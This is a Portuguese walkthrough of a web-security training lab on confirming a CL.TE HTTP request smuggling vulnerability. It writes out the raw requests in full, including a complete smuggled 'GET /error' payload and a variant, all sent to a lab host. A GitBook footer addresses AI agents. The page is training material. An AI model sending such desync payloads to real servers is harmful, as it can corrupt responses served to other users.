> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Confirmação da Vulnerabilidade CL.TE por Respostas Diferenciais

### HTTP Request Smuggling, Confirmando uma vulnerabilidade CL.TE por meio de respostas diferenciais

Este laboratório usa um servidor de front-end e um servidor interno. O servidor de front-end **não lida com chunked** encoding. / O objetivo é **contrabandear uma requisição para o back-end** para que a próxima requisição para **/** gere uma resposta **404 Não Encontrado**.

> **Observação:** Mesmo que o laboratório aceite HTTP/2, o método necessário só pode ser usado no HTTP/1. / **Dica:** O plugin HTTP Request Smuggler do Burp ajuda a recalcular os comprimentos automaticamente.

#### Observação inicial

O front-end interpreta **Content-Length**, enquanto o back-end é baseado em **Transfer-Encoding**. / Enviando uma requisição mínima:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Então, ao adicionar um parâmetro, o comprimento passa logicamente para 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="/files/120012788763a04b24b0bbe1424dbb36093ba2b1" alt=""><figcaption></figcaption></figure>

Para evitar o recálculo automático do comprimento, um novo cabeçalho é introduzido.

<figure><img src="/files/c2264bd706b59888a8bb16657de01ff2addd638f" alt="" width="392"><figcaption></figcaption></figure>

#### Adicionando *Transfer-Encoding*

Se adicionarmos:

```http
Transfer-Encoding: chunked
```

o servidor retorna um erro de dessincronização:

HTTP/1.1 500 Internal Server Error

<figure><img src="/files/6d22a05e27f9db5daad5122ffa9d2a2dd4860756" alt=""><figcaption></figcaption></figure>

No entanto, ao enviar um payload chunked válido:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="/files/05091b48de8869a90884b2acd391ab16680d7db8" alt=""><figcaption></figcaption></figure>

a resposta retorna em **200 OK**.

<figure><img src="/files/6ca55c950567b50322a7c76f83edff2934e82ec8" alt=""><figcaption></figcaption></figure>

Também podemos testar:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Injeção de uma requisição no back-end

Para obter um **404**, você precisa forçar o back-end a processar uma requisição adicional. / Se adicionarmos:

```http
GET /error HTTP/1.1
Teste: A
```

e que o back-end interprete corretamente a requisição contrabandeada, ele executa o `GET /error`.

Exemplo completo:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Teste: A
```

A primeira resposta está em **200**, mas a próxima requisição enviada pelo navegador dispara uma **404**, prova de dessincronização.

<figure><img src="/files/76095588896ec5442536a560e7189f102b230d4c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/76c99032776eab975353c5273d2d7d49d6fed6fb" alt=""><figcaption></figcaption></figure>

#### Variação: Executar outra página

Se você quiser que o back-end execute outro recurso, por exemplo:

```http
GET /post?postId=4 HTTP/1.1
Teste: A
```

então a página principal exibirá o conteúdo correspondente ao post 4, confirmando que a consulta contrabandeada foi processada pelo back-end.

<figure><img src="/files/45ccaf7f37360829b27493ddfe15f9f86ff2d3f1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
